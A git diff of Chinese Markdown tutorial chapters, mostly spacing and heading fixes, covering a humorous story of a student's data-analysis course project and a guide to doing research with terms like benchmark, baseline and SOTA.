上一个现成的爬虫代码,虽然费了一翻力气,但是仍然躲过了某房价网站的爬虫,他成功爬下来了,我们就把他存在哪里呢?~~(爬虫待补充) -先试试excel好了,毕竟这是大家最耳熟能详的存表格的方法,但是你貌似没有深入了解过他,打开了datawhale的[free-excel](https://github.com/datawhalechina/free-excel),你才惊讶的发现,wow,原来他有这么多牛逼的功能啊!它除了可以将房价统计,找到它的平均价格,算出他的最高价格之类以外,竟然也可以把他可视化!甚至它还可以对房价进行多元分析!根据房屋数量面积地段等等因素帮你预测房价,甚至可以自动帮你检索和去除重复数据,实在是太好用啦! +先试试 excel 好了,毕竟这是大家最耳熟能详的存表格的方法,但是你貌似没有深入了解过他,打开了 datawhale 的[free-excel](https://github.com/datawhalechina/free-excel),你才惊讶的发现,wow,原来他有这么多牛逼的功能啊!它除了可以将房价统计,找到它的平均价格,算出他的最高价格之类以外,竟然也可以把他可视化!甚至它还可以对房价进行多元分析!根据房屋数量面积地段等等因素帮你预测房价,甚至可以自动帮你检索和去除重复数据,实在是太好用啦! 当然,这只是一个理想状态,残酷的现实很快给你当头一棒!当你试着多爬点不同城市数据的时候,他崩了!这么脆弱的吗?!干点活就喊累的吗?!😨 @@ -62,22 +68,22 @@ day 1 End!🤣 之前好像看到有一个教程叫做[wonderful-sql](https://github.com/datawhalechina/wonderful-sql?from=from_parent_mindnote) -他提到“随着社会的快速发展,各类企业数字化转型迫在眉睫,SQL 应用能力日趋重要。 在诸多领域中 SQL 应用广泛,数据分析、开发、测试、维护、产品经理等都有可能会用到SQL,而在学校里系统性讲授 SQL 的课程较少,但是面试及日常工作中却经常会涉及到 SQL。” +他提到“随着社会的快速发展,各类企业数字化转型迫在眉睫,SQL 应用能力日趋重要。在诸多领域中 SQL 应用广泛,数据分析、开发、测试、维护、产品经理等都有可能会用到 SQL,而在学校里系统性讲授 SQL 的课程较少,但是面试及日常工作中却经常会涉及到 SQL。” 确实学校没有教过,但是幸好你有教程,折腾了一翻之后,你发现你对数据库有了更深的理解,他帮助了我们在容纳大量的多种不同的数据形式的时候不用专门去考虑怎么设计一个数据结构而是规划了一定的存储方法后全部塞给他,完全不用考虑具体的物理性的以及性能问题存储模式,并且他很多高级的功能可以帮助你便捷的把数据组织成一般情况下难以到达的形式,他的底层设计被严格的包装起来让你在进行数据增删改查的时候都又快又好。 -并且它可以非常方便的存一些excel不好存的所谓的非结构化的数据,比如说图像等等,并且他不会动不动就喊累!处理几十万条也是一下子! +并且它可以非常方便的存一些 excel 不好存的所谓的非结构化的数据,比如说图像等等,并且他不会动不动就喊累!处理几十万条也是一下子! -当然同时你也了解到,你所用的是关系型数据库,是老东西了,目前还有很多较为前沿的非关系型数据库,例如MongoDB(这玩意什么都能存,比如说地图),Neo4j(像一张蜘蛛网一样的结构,图)等等,他们不用固定的表来存储,可以用图存或者键值对进行存储,听起来好像非常的高级,不过你暂时用不到,数据搞都搞下来了,量也够了,是时候看看队友做到哪了?说不定后面你都不用做了,已经做的够多够累的了! +当然同时你也了解到,你所用的是关系型数据库,是老东西了,目前还有很多较为前沿的非关系型数据库,例如 MongoDB(这玩意什么都能存,比如说地图),Neo4j(像一张蜘蛛网一样的结构,图)等等,他们不用固定的表来存储,可以用图存或者键值对进行存储,听起来好像非常的高级,不过你暂时用不到,数据搞都搞下来了,量也够了,是时候看看队友做到哪了?说不定后面你都不用做了,已经做的够多够累的了! -什么?!刚开始学python?!woc!完蛋,你逐渐来到了绝望之谷,唉!明天继续做吧!看来休息不了了。 +什么?!刚开始学 python?!woc! 完蛋,你逐渐来到了绝望之谷,唉!明天继续做吧!看来休息不了了。 day 2 End 😔! -## Day 3 +### Day 3 -God!No!昨天已经够累的了,今天老师还要讲课,还要早起!你期待着老师可以降低要求,可是当老师托起长音,讲起了他知道了学生的累,所以今天决定开始讲课了!(现在讲有毛用啊,你明天就要验收我们的进度了!) +God!No! 昨天已经够累的了,今天老师还要讲课,还要早起!你期待着老师可以降低要求,可是当老师托起长音,讲起了他知道了学生的累,所以今天决定开始讲课了!(现在讲有毛用啊,你明天就要验收我们的进度了!) -而他却慢悠悠的开始讲python的历史,把这点内容讲了足足两节课,你终于绷不住了,本来时间就不够,他竟然又浪费了你足足一早上的时间!这也太该死了!🤬 +而他却慢悠悠的开始讲 python 的历史,把这点内容讲了足足两节课,你终于绷不住了,本来时间就不够,他竟然又浪费了你足足一早上的时间!这也太该死了!🤬 你回到了寝室,准备今天争取数据分析完就直接交上去好了! @@ -85,23 +91,25 @@ God!No!昨天已经够累的了,今天老师还要讲课,还要早起!你 这个野鸡房价网站每个城市的排版不一样,你爬虫爬取的完全是按照顺序标的,也就是说你爬取的所有房价信息处于混沌状态!完全就相当于给每个房子爬了一段句子的描述! -没有办法了,看来今天有的折腾了,你找到了一个叫pandas(熊猫?)的东西,找到了这个教程[Joyful-Pandas](https://github.com/datawhalechina/joyful-pandas),开始了一天的学习! +没有办法了,看来今天有的折腾了,你找到了一个叫 pandas(熊猫?)的东西,找到了这个教程[Joyful-Pandas](https://github.com/datawhalechina/joyful-pandas),开始了一天的学习! -你了解到pandas是一个开源的Python数据处理库,提供了高性能、易用、灵活和丰富的数据结构,可以帮助用户轻松地完成数据处理、清洗、分析和建模等任务。你使用了DataFrame来装载二维表格对象。 +你了解到 pandas 是一个开源的 Python 数据处理库,提供了高性能、易用、灵活和丰富的数据结构,可以帮助用户轻松地完成数据处理、清洗、分析和建模等任务。你使用了 DataFrame 来装载二维表格对象。 -用一些关键词来提取数据中隐藏的信息,例如提取“平米”前面的数字放到‘area'列,提取房价到'price’列,提取位置到'locate'里面,当然你也遇到了可怕的bug,提取所有“室”和“厅”前面的数字,他总是告诉你有bug,全部输出之后才发现你提取到了“地下室”结果他没法识别到数字所以炸了! +用一些关键词来提取数据中隐藏的信息,例如提取“平米”前面的数字放到‘area'列,提取房价到'price’列,提取位置到'locate'里面,当然你也遇到了可怕的 bug,提取所有“室”和“厅”前面的数字,他总是告诉你有 bug,全部输出之后才发现你提取到了“地下室”结果他没法识别到数字所以炸了! 将数据勉强弄得有序之后,你提取了平均数填充到缺失数据的房屋里面,将一些处理不了的删掉。 -当然,你也额外了解到pandas这只可爱的小熊猫还有非常多强大的功能,例如数据可视化,例如分类数据,甚至可以让房屋按照时序排列,但是你实在不想动了! +当然,你也额外了解到 pandas 这只可爱的小熊猫还有非常多强大的功能,例如数据可视化,例如分类数据,甚至可以让房屋按照时序排列,但是你实在不想动了! 不论怎么说,你勉强有了一份看得过去的数据,你看了看表,已经晚上十一点半了,今天实在是身心俱疲! -问问队友吧,什么,他们怎么还是在python语法?!你就像进了米奇不妙屋~队友在想你说“嘿~你呀瞅什么呢~是我!你爹~” +问问队友吧,什么,他们怎么还是在 python 语法?!你就像进了米奇不妙屋~队友在说 -此时你像一头挨了锤的老驴,曾经的你有好多奢望,你想要GPA,想要老师的认同,甚至想要摸一摸水里忽明忽暗的🐟,可是一切都随着你的hadworking变成了泡影。 +~~“嘿~你呀瞅什么呢~是我!你爹~”~~ -可是步步逼近的截止日期不允许你有太多的emo期,说好的七天时间,最后一天就剩下展示了!也就是说实际上只有6天的开发时间,也就是说你必须得挑起大梁了 +此时你像一头挨了锤的老驴,曾经的你有好多奢望,你想要 GPA,想要老师的认同,甚至想要摸一摸水里忽明忽暗的🐠,可是一切都随着你的 hardworking 变成了泡影。 + +可是步步逼近的截止日期不允许你有太多的 emo 时间,说好的七天时间,最后一天就剩下展示了!也就是说实际上只有 6 天的开发时间,也就是说你必须得挑起大梁了 > 世界上只有一种真正的英雄主义,那就是看清生活的真相之后,依然热爱生活 @@ -109,19 +117,19 @@ God!No!昨天已经够累的了,今天老师还要讲课,还要早起!你 day 3 end!👿 👹 👺 🤡 -## Day 4 +### Day 4 -老师在验收的时候认为你什么工作也没做,他认为一份数据实在是太单薄了,特别是被你疯狂结构优化后的数据已经没几个特征了,让你去做点看得到的东西,不然就要让你不及格了,你的心里很难过,你想到也许你需要一些更好看的东西。数据可视化你在昨天的pandas看到过,可是你并没有详细了解,你觉得pandas已经在昨天把你狠狠的暴捶一顿了,并且老师想要更好看的图。 +老师在验收的时候认为你什么工作也没做,他认为一份数据实在是太单薄了,特别是被你疯狂结构优化后的数据已经没几个特征了,让你去做点看得到的东西,不然就要让你不及格了,你的心里很难过,你想到也许你需要一些更好看的东西。数据可视化你在昨天的 pandas 看到过,可是你并没有详细了解,你觉得 pandas 已经在昨天把你狠狠的暴捶一顿了,并且老师想要更好看的图。 -于是你考虑pandas配合Matplotlib画一些简单的图(Matplotlib的缺点是它的绘图语法比较繁琐,需要编写较多的代码才能得到漂亮的图形。) +于是你考虑 pandas 配合 Matplotlib 画一些简单的图(Matplotlib 的缺点是它的绘图语法比较繁琐,需要编写较多的代码才能得到漂亮的图形。) -加上Plotly绘制一些复杂的图,让你的图有着更漂亮的交互效果,然后加上看起来很牛逼的英语描述 +加上 Plotly 绘制一些复杂的图,让你的图有着更漂亮的交互效果,然后加上看起来很牛逼的英语描述 +你找到了下面的教程: -你找到了下面的教程 -[matplotlib奇遇记文字教程](https://github.com/datawhalechina/fantastic-matplotlib) +[matplotlib 奇遇记文字教程](https://github.com/datawhalechina/fantastic-matplotlib) -[极好的Plotly文字教程:](https://github.com/datawhalechina/wow-plotly) +[极好的 Plotly 文字教程:](https://github.com/datawhalechina/wow-plotly) [视频教程](https://www.bilibili.com/video/BV1Df4y1A7aR) 🤗 @@ -129,17 +137,17 @@ day 3 end!👿 👹 👺 🤡 这时你认为你的任务已经完成了!于是早早就心满意足的早早睡着了🍻 🥂。最近真的太累了,天天一两点睡,早上惊醒,做梦都是在爬数据分析数据!太可怕了! -在梦里,你好像看到了美好的假期时光。 😪 +在梦里,你好像看到了美好的假期时光。 😪 day 4 end!~🤤 -## Day 5 +### Day 5 你睡得很死,因为你已经你做完了所有的东西,第二天只要美美的验收结束,买了机票就可以回家了,可是老师仍然制止了你,跟你说如果你今晚走了就给你挂科,因为你没有用机器学习来分析他! 可是机票今晚就要起飞了啊!😰你已经要气疯了,想和老师据理力争,但是又害怕这么一个课被打上不及格的分数,这实在是太难受了! -终归你还是在老师的逼迫下,改签了机票,好吧,多少得加点功能了!呜呜呜~🤢 🤮 +终归你还是在老师的逼迫下,改签了机票,好吧,多少得加点功能了!呜呜呜~🤢 🤮 可是你并不完全会机器学习的算法,可怜的大一本科生的你没有学信息论也没有学最优化理论,很多算法你完全不懂其理论知识!听说西瓜书很好,可是你在图书馆借到了西瓜书之后根本看不懂! @@ -149,21 +157,21 @@ day 4 end!~🤤 你对着他啃了半天,觉得很多东西你都能看懂了,你脑子里已经有了很多思路,你想按使用高级的机器学习的算法! -但是!时间还是太紧张了!你没有办法从头开始实现了! +但是!时间还是太紧张了!你没有办法从头开始实现了! -你想尝试[pytorch文字教程](https://github.com/datawhalechina/thorough-pytorch),但是时间也不够让你去重整数据去训练了。你随便塞在线性层里的数据梯度直接爆炸,你这时候还不知道归一化的重要性,紧张之下把几万几十万的房价往里面塞,结果结果烂成💩了,并且你没有波如蝉翼的基础知识并不够让你去解决这些个bug,只能疯狂的瞎挑参数,可是结果往往不如人意~ +你想尝试[pytorch 文字教程](https://github.com/datawhalechina/thorough-pytorch),但是时间也不够让你去重整数据去训练了。你随便塞在线性层里的数据梯度直接爆炸,你这时候还不知道归一化的重要性,紧张之下把几万几十万的房价往里面塞,结果结果烂成💩了,并且你那薄如蝉翼的基础知识并不够让你去解决这些个 bug,只能疯狂的瞎调参数,可是结果往往不如人意~ 时间来到了晚上八点,明天就要最后验收了,走投无路的你把目光看向了远在几十千米外已经入职了的大哥,晚上跟他打电话哭诉你最近的遭遇,你实在搞不懂,为什么十二生肖大伙都属虎,就你属驴。 -大哥嘎嘎猛,连夜打车过来,我在因疫情封校的最后两个小时赶出了学校,和大哥一起租了个酒店,通宵奋战,他采取了更多更为优雅的特征工程和模型调参的方式,让模型优雅的收敛到了一定程度,再用春秋笔法进行汇总,在半夜两点半,终于将内容搞定了 +大哥嘎嘎猛,连夜打车过来,你在因疫情封校的最后两个小时跑出了学校,和大哥一起租了个酒店,通宵奋战,他采取了更多更为优雅的特征工程和模型调参的方式,让模型优雅的收敛到了一定程度,再用春秋笔法进行汇总,在半夜两点半,终于将内容搞定了😭 终于你可以睡个好觉了~ day 5 end!😍 🥰 😘 -## Day 6 +### Day 6 -验收日,老师端坐在底下,宛如一尊大佛,提出了一系列无关紧要的问题,比如问我们能不能拿这个程序给老年人查资料??? +验收日,老师端坐在底下,宛如一尊大佛,提出了一系列无关紧要的问题,比如问“我们能不能拿这个程序给老年人查资料???” 等等问题和技术一点关系都没有!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! @@ -173,20 +181,19 @@ day 5 end!😍 🥰 😘 The End~~~~~~~~~~ -# 事后总结 +## 事后总结 -你在那个暑假详细了解和学习一下数据科学竞赛,发现他的含金量在职场领域有时候相当高,并且对提升自身的实力也有相当大的帮助! +你在那个暑假详细了解和学习一下数据科学竞赛,发现他的含金量在职场领域有时候相当高,并且对提升自身的实力也有相当大的帮助! -[数据竞赛Baseline & Topline分享](https://github.com/datawhalechina/competition-baseline) +[数据竞赛 Baseline & Topline 分享](https://github.com/datawhalechina/competition-baseline) -你还发现了之前从来没有注意到的kaggle平台以及一些很棒的综合实践项目! +你还发现了之前从来没有注意到的 kaggle 平台以及一些很棒的综合实践项目! 例如[根据贷款申请人的数据信息预测其是否有违约的可能](https://github.com/datawhalechina/team-learning-data-mining/tree/master/FinancialRiskControl) [根据汽车类型等信息预测二手汽车的交易价格](https://github.com/datawhalechina/team-learning-data-mining/tree/master/SecondHandCarPriceForecast) -例如:[使用公开的arXiv论文完成对应的数据分析操作](https://github.com/datawhalechina/team-learning-data-mining/tree/master/AcademicTrends) - +例如:[使用公开的 arXiv 论文完成对应的数据分析操作](https://github.com/datawhalechina/team-learning-data-mining/tree/master/AcademicTrends) 想到如果你早做准备,没有荒废大一的时光,也许你不但能圆满的通过这次课程,也可以开辟更为广阔的新世界了吧~ @@ -196,31 +203,31 @@ The End~~~~~~~~~~ ::: danger 再次警告,本章内容有很多瞎编的内容,不要全信 -比如说一天学完pandas,一天学完sql之类的都是很不现实的!希望大家注意! +比如说一天学完 pandas,一天学完 sql 之类的都是很不现实的!希望大家注意! 当然你也可以在需要用的时候再研究,也来得及,就是很累 不要打击到大家的自信心! ::: -# 补充内容:下个定义 +## 补充内容:下个定义 -数据分析是独立于开发和算法岗的另一个方向,它主要是通过应用机器学习和深度学习的已有算法来分析现实问题的一个方向 +数据分析是独立于开发和算法岗的另一个方向,它主要是通过**应用**机器学习和深度学习的**已有算法**来分析现实问题的一个方向 我们常说:数据是客观的,但是解读数据的人是主观的。 数据这门科学就像中西医混合的一门医学,既要有西医的理论、分析模型以及实验,又需要有中医的望闻问切这些个人经验。 - > 这世界缺的真不是算法和技术,而是能用算法、技术解决实际问题的人 - -# 什么是数据科学 +## 什么是数据科学 数据科学是当今计算机和互联网领域最热门的话题之一。直到今天,人们已经从应用程序和系统中收集了相当大量的数据,现在是分析它们的时候了。从数据中产生建议并创建对未来的预测。[在这个网站中](https://www.quora.com/Data-Science/What-is-data-science),您可以找到对于数据科学的更为精确的定义。 -同时,我向各位推荐一个非常有趣的科普视频想你讲解数据分析师到底在做什么:[怎么会有这么性感的职业吶?](https://www.bilibili.com/video/BV1ZW4y1x7UU/?spm_id_from=333.999.0.0&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) +同时,我向各位推荐一个非常有趣的科普视频想你讲解数据分析师到底在做什么:[怎么会有这么性感的职业吶?](https://www.bilibili.com/video/BV1ZW4y1x7UU) -# Datawhale的生态体系 + -在与Datawhale开源委员会的负责人文睿进行一翻畅谈之后。zzm受震惊于其理念以及已经构建的较为完善的体系架构,毅然决然的删除了本章和其广泛的体系比起来相形见绌的内容。为了更大伙更好的阅读以及学习体验,我们决定在本章内容引入了[datawhale人工智能培养方案数据分析体系](https://datawhale.feishu.cn/docs/doccn0AOicI3LJ8RwhY0cuDPSOc#),希望各位站在巨人的肩膀上,争取更进一步的去完善它。 +## Datawhale 的生态体系 + +在与 Datawhale 开源委员会的负责人文睿进行一翻畅谈之后。zzm 受震惊于其理念以及已经构建的较为完善的体系架构,毅然决然的删除了本章和其广泛的体系比起来相形见绌的内容。为了更大伙更好的阅读以及学习体验,我们决定在本章内容引入了[datawhale 人工智能培养方案数据分析体系](https://datawhale.feishu.cn/docs/doccn0AOicI3LJ8RwhY0cuDPSOc#),希望各位站在巨人的肩膀上,争取更进一步的去完善它。 diff --git a/4.人工智能/4.9如何做研究.md b/4.人工智能/4.9如何做研究.md index d9a7986..fd10e0a 100644 --- a/4.人工智能/4.9如何做研究.md +++ b/4.人工智能/4.9如何做研究.md @@ -1,28 +1,27 @@ # 如何做研究 -# 0. 讲在前面 +## 0. 讲在前面 -Author: 任浩帆 - -Email: yqykrhf@163.commailto:yqykrhf@163.com +Author:任浩帆 +Email: yqykrhf@163.com 术语介绍的补充:Spy 仅供参考,如有不足,不吝赐教。 -# 术语的介绍 +## 术语的介绍 -Benchmark:评测的基准。通常会是一些公开的数据集。 +**Benchmark:**评测的基准。通常会是一些公开的数据集。 -Baseline: 基准,一般指的是一个现有的工作。 +**Baseline:** 基准,一般指的是一个现有的工作。 -SOTA (state-of-art): 截止目前,指标最好。 +**SOTA **(state-of-art): 截止目前,指标最好。 举个例子: 我们选取 XXX-Net 作为我们的 Baseline,在加入我们设计的注意力机制的模块,在 KITTI 这个 Benchmark 上性能达到了 SOTA。 -Backbone: +**Backbone:** 这个单词原意指的是人的脊梁骨,后来引申为支柱,核心的意思。 @@ -30,13 +29,13 @@ Email: yqykrhf@163.commailto:yqykrhf@163.com 所以将这一部分网络结构称为 backbone 十分形象,仿佛是一个人站起来的支柱。 -Solid +**Solid** 一般是描述这个工作非常扎实。 -这个工作很 solid。 每一步都 make sense(合理)。没有特意为了刷 benchmark 上的指标,用一些 fancy trick(奇技淫巧)。 +这个工作很 solid。每一步都 make sense(合理)。没有特意为了刷 benchmark 上的指标,用一些 fancy trick(奇技淫巧)。 -Robust +**Robust** 鲁棒性,是描述一个系统受到外界的干扰情况下,仍然能保持较好的性能。 @@ -44,16 +43,16 @@ Email: yqykrhf@163.commailto:yqykrhf@163.com 我们的系统的图片加入大量的噪声,已经旋转平移缩放以后,仍然能正确的分类,这表明了我们的工作具有一定的鲁棒性。 -# 坐而论道 +## 坐而论道 -## 2.1 研究是什么 +### 2.1 研究是什么 从实际的几个例子讲起: 1. 某学生,被老师分配了一个课题的名字:《语义分割》。之后开始看相关的论文,了解到有实时语义分割,视频语义分割,跨模态语义分割等等子任务或者交叉任务,然后跟导师开始汇报自己的一些感想,最后在老师的建议之下拟定了具体的课题,开始思考解决方案。 2. 某学生,被老师分配了一个课题的名字:《存在遮挡情况下的单目人体重建》 。之后这个学生对这个问题提出了有效的解决方案。 3. 某同学在 waymo(Google 自动驾驶子公司)实习,发现没有用神经网络来直接处理点云的工作。于是决定做一个神经网络能够直接输入点云,经过几番尝试以后,提出了《第一个能直接处理点云的网络》。 -4. 某高校的本科生在 lcw 下的指导下做科研的流程: 老师直接给给一个 basic idea,然后让本科做实验,在这个工程中非常有针对性的指导。 +4. 某高校的本科生在 lcw 下的指导下做科研的流程:老师直接给给一个 basic idea,然后让本科做实验,在这个工程中非常有针对性的指导。 例 1 是在给定一个大题目的基础下,去阅读论文寻找小题目。 @@ -73,55 +72,55 @@ Step 3. 验证解决方案的有效性。 有些问题是一直存在,但没有彻底解决的。这一类的问题通常,就不存在 Step 1。从事这一课题的研究者经常会在 2,3 之间来回反复。 -## 2.2 如何做研究 +### 2.2 如何做研究 从上一小节的几个例子当中,其实不同的人做研究所需要完成的工作是完全不一样的。很多时候只需要做 step 3 即可,从功利的角度来讲这是性价比最高的。 -如果我们是一个合格的博士或者我们致力于如此,那么首先的第一步要找到一个好的问题,这是一个非常重要的开始,一个好的问题往往意味着研究已经成功了一半。 什么是一个好的问题?它可能会有以下几个特点: +如果我们是一个合格的博士或者我们致力于如此,那么首先的第一步要找到一个好的问题,这是一个非常重要的开始,**一个好的问题往往意味着研究已经成功了一半。 **什么是一个好的问题?它可能会有以下几个特点: 1. 理论上能实现某种意义上的统一,从而使得问题的描述变得非常优雅。比如 [DepthAwareCNN](https://arxiv.org/abs/1803.06791) -2. 对于之后的工作非常具有启发的作用,甚至达到某种意义的纠偏作用。 比如 [OccuSeg](https://arxiv.org/abs/2003.06537) -3. 本身足够 solid,可以作为 meta algorithm。 比如 Mask-RCNN -4. 是一个大家没有引起足够重视,却非常棘手且非常迫切的问题。 比如相机快速运动下的重建,[MBA-VO](https://openaccess.thecvf.com/content/ICCV2021/papers/Liu_MBA-VO_Motion_Blur_Aware_Visual_Odometry_ICCV_2021_paper.pdf) +2. 对于之后的工作非常具有启发的作用,甚至达到某种意义的纠偏作用。比如 [OccuSeg](https://arxiv.org/abs/2003.06537) +3. 本身足够 solid,可以作为 meta algorithm。比如 Mask-RCNN +4. 是一个大家没有引起足够重视,却非常棘手且非常迫切的问题。比如相机快速运动下的重建,[MBA-VO](https://openaccess.thecvf.com/content/ICCV2021/papers/Liu_MBA-VO_Motion_Blur_Aware_Visual_Odometry_ICCV_2021_paper.pdf) -### 2.2.1 如何去找一个好的问题 +#### 2.2.1 如何去找一个好的问题 如何确保自己选的问题是一个好的问题?这需要和指导老师及时的反馈。如果指导老师不给力,那么一些方法仅供参考。 1. 自己和工业界的一些人去交流与沟通,看看实际落地的痛点是什么?面对这些痛点,已有的研究方法能否解决,是否有一些现有的 benchmark 或者容易制作的 benchmark 来做为评价标准。 -2. 做加法。举个例子:图片可以做语义分割。 那么图片 + 深度图如何更好的做语义分割。 图片 + 文字描述的做语义分割。现在的语义分割的标注都是 0,1,2,3 这些数字,然后每一个数字对应一个实际的类别,这个对应表是认为规定的。如果我把 0,1 的对应关系换掉。重新训练以后就,网络的性能是否会影响? -3. 做减法。对于点云的语义分割的标注,通过是非常费时费力的。 那么对于点云来说,少量的标注是否是可行的?比如只标注百分之 10 的点。 +2. 做加法。举个例子:图片可以做语义分割。那么图片 + 深度图如何更好的做语义分割。图片 + 文字描述的做语义分割。现在的语义分割的标注都是 0,1,2,3 这些数字,然后每一个数字对应一个实际的类别,这个对应表是认为规定的。如果我把 0,1 的对应关系换掉。重新训练以后就,网络的性能是否会影响? +3. 做减法。对于点云的语义分割的标注,通过是非常费时费力的。那么对于点云来说,少量的标注是否是可行的?比如只标注百分之 10 的点。 -以上是一些技巧,把输入调整一下,约束去掉一些,就会有很多新的问题。 这个过程通常被叫做“调研” +以上是一些技巧,把输入调整一下,约束去掉一些,就会有很多新的问题。这个过程通常被叫做**“调研”** 这个过程在是一个相对比较痛苦的过程,因为调研的过程中你会发现很多问题,想到很多所谓创新的解决方法,但是实际上你会发现你的解决方法已经有很多人做过了。这一阶段调整心态很重要,切忌急于求成。 -### 2.2.2 如果提出解决方法 +#### 2.2.2 如果提出解决方法 -这个阶段需要百折不挠,小步快跑了。 一下是有一些可能有帮助的技巧: +这个阶段需要百折不挠,小步快跑了。一下是有一些可能有帮助的技巧: 1. 多读本领域的论文。(说起来非常玄妙,会在如何读论文部分详细解释) -2. 读一些基础,跨领域的论文。 把其他领域的方法搬过来直接用。直接用通常情况下会存在一些问题,那么需要针对性的做一些改进。 +2. 读一些基础,跨领域的论文。把其他领域的方法搬过来直接用。直接用通常情况下会存在一些问题,那么需要针对性的做一些改进。 3. 从历史出发。将你面对的问题抽象成数学问题,这个数学问题可能过去很多人都遇到过,去看一看他们是如何解决的,从中获取一些灵感。 -### 2.2.3 如果做实验 +#### 2.2.3 如果做实验 -做实验的目的是为了快速的验证想法的正确性。 以下两个东西最好要有 +做实验的目的是为了快速的验证想法的正确性。以下两个东西最好要有 1. 版本控制 2. 日志系统 剩下就是一些工程习惯的问题,比如出现错误用 `std::cerr` 而不是 `std::cout`。这是一个需要实践积累的部分,与做研究有些脱节,之后有时间会在其他小节做一些补充。 -# 快速出成果的捷径与方法 +## 快速出成果的捷径与方法 -如何快速的出成果,不管别人如何帮你,前提是你自己要足够的强。不能存在 “靠别人” 的想法。 +如何快速的出成果,不管别人如何帮你,前提是你自己要足够的强。不能存在 **“靠别人” **的想法。 -对于一个博士生来讲,出成果保毕业,那么可能要对学术的进展要敏感,比如 Nerf 八月份刚出来的时候,如果你非常敏锐的意识到这个工作的基础性和重要性。那么你稍微思考一两个月,总是能有一些创新的 ieda 产生的。 所以这个timing 和 senstive就非常重要,当然导师是不是审稿人可能更重要。 +对于一个博士生来讲,出成果保毕业,那么可能要对学术的进展要敏感,比如 Nerf 八月份刚出来的时候,如果你非常敏锐的意识到这个工作的基础性和重要性。那么你稍微思考一两个月,总是能有一些创新的 ieda 产生的。所以这个**timing 和 senstive**就非常重要,当然导师是不是审稿人可能更重要。 对于一个本科生来讲,当然是跟着指导老师的脚步去做。但是如果指导老师只是把你当成一个工具人,一直打杂货的话。你想发论文,一种所谓的捷径是 A+B。就是把一个方法直接拿过来用在另一个地方,大概率这样会有一些问题,那么你就可以针对性的改进,如何针对性的改进?不好的方式是 A+B 套娃,好一些的方式是分析这个不好的原因在哪里,现有的方法多大程度可以帮助解决这个问题,或者现有的方法解决不了这个问题,但是其中的一个模块是否是可以参考的。 -## 3.2 学习别人是如何改进网络的(Beta) +### 3.2 学习别人是如何改进网络的(Beta) 自 UNet 提出后就有许多的魔改版本,如 UNet++, U2Net, 而这些 UNet 的性能也十分优异。 @@ -132,13 +131,13 @@ Step 3. 验证解决方案的有效性。 1. 你认为你提出的改进方法是有效的,但是实际是不 OK 的 2. 你认为你提出的方法可能有效,实际上也确实有效。然而你不能以令人信服的方式说明这为什么有效。 -举个例子 ResNet 为什么有效。“因为网络越深,可以拟合的函数空间就会复杂,但是越深网络效果反而变差。那么从一个角度来思考:网络至少某一层 i 开始到最后一层 k,如果学习到的函数是 f(x)=x 的恒等映射,那么网络变深以后至少输出是和 i-1 层的是一模一样的,从而网络变深可能不一定会变好,但是至少不会变差才对。” 看起来很有道理,然后 CVPR2021 分享会,ResNet 的作者之一,xiangyu zhang 说 “当时也完全不能使人很信服的解释为什么 ResNet 就一定效果好,感觉更像是基于一些灵感,得到了一个很棒的东西,更像是一个工程化的问题,而不是一个研究。但我们可以先告诉别人这个是非常有效的,至于为什么有效,可能需要其他人来解决。” +举个例子 ResNet 为什么有效。“因为网络越深,可以拟合的函数空间就会复杂,但是越深网络效果反而变差。那么从一个角度来思考:网络至少某一层 i 开始到最后一层 k,如果学习到的函数是 f(x)=x 的恒等映射,那么网络变深以后至少输出是和 i-1 层的是一模一样的,从而网络变深可能不一定会变好,但是至少不会变差才对。”看起来很有道理,然后 CVPR2021 分享会,ResNet 的作者之一,xiangyu zhang 说“当时也完全不能使人很信服的解释为什么 ResNet 就一定效果好,感觉更像是基于一些灵感,得到了一个很棒的东西,更像是一个工程化的问题,而不是一个研究。但我们可以先告诉别人这个是非常有效的,至于为什么有效,可能需要其他人来解决。” -再举一个例子 BN(Batch normalization)为什么有效,你去看 BN 的原论文和之后关于 BN 为什么有效的研究,会发现原论文认为有效的原因是不太能让人信服的。 但这不妨碍 BN 有效,而且非常快的推广起来。 +再举一个例子 BN(Batch normalization) 为什么有效,你去看 BN 的原论文和之后关于 BN 为什么有效的研究,会发现原论文认为有效的原因是不太能让人信服的。但这不妨碍 BN 有效,而且非常快的推广起来。 其实这件事可以类比于中医,做研究就好比要提出一套理论,但是我不知怎得忽然发现有一个方子经过测试非常有效,但是我确实不能给出一个很好的理论解释说明这个房子为什么有效。但是我尽快把这个方子告诉大家,这同样是非常有意义的。 -举这个两个例子是为了说明,类似 ResNet 这种拍一拍脑袋就想出的 idea,一天可能能想出十几个,但是最后做出来,并且真正 work 的非常少。这里面就存在一个大浪淘沙的过程,可能我们看到的经典的网络,比如 Unet 就是拍拍脑袋,迅速做实验出来的。 我认为这种思考方式仅仅值得参考,并不值得效仿。 现在早已经不是 5 年前那样,却设计各种 fancy 的网络结构去发论文的年代了。 +举这个两个例子是为了说明,类似 ResNet 这种拍一拍脑袋就想出的 idea,一天可能能想出十几个,但是最后做出来,并且真正 work 的非常少。这里面就存在一个大浪淘沙的过程,可能我们看到的经典的网络,比如 Unet 就是拍拍脑袋,迅速做实验出来的。我认为这种思考方式仅仅值得参考,并不值得效仿。现在早已经不是 5 年前那样,却设计各种 fancy 的网络结构去发论文的年代了。 那么我们应该如何对待神经网络?(之后再写) diff --git a/4.人工智能/4.人工智能.md b/4.人工智能/4.人工智能.md index 43e9297..0126cb6 100644 --- a/4.人工智能/4.人工智能.md +++ b/4.人工智能/4.人工智能.md @@ -1,6 +1,8 @@ # 4.人工智能 + ## 开篇 -对于所谓AI的开篇该怎么写,我思考了很久,因为这实在是太过于宏大的话题了,从2012年开始这个行业迎来了所谓的技术爆炸阶段 + +对于所谓 AI 的开篇该怎么写,我思考了很久,因为这实在是太过于宏大的话题了,从 2012 年开始这个行业迎来了所谓的技术爆炸阶段 > 宇宙的时间尺度来看,一个文明的技术在科技发展的过程中,可能短时间内快速发展、科技发展速度不断增加的现象 --------《三体》 @@ -10,30 +12,30 @@ 阅读本篇内容的群体,我想主要是自动化或计算机的大学生,更多的是没有基础的同学才会翻阅。 -因此本篇不将技术,笔者将从自己的视角,笔者进入大学到现在对所谓AI发展的思想感受的变迁为明线,为将要开启人工智能学习的大伙勾勒出一个笔者眼中的,**人工智能**时代。 +因此本篇不将技术,笔者将从自己的视角,笔者进入大学到现在对所谓 AI 发展的思想感受的变迁为明线,为将要开启人工智能学习的大伙勾勒出一个笔者眼中的,**人工智能**时代。 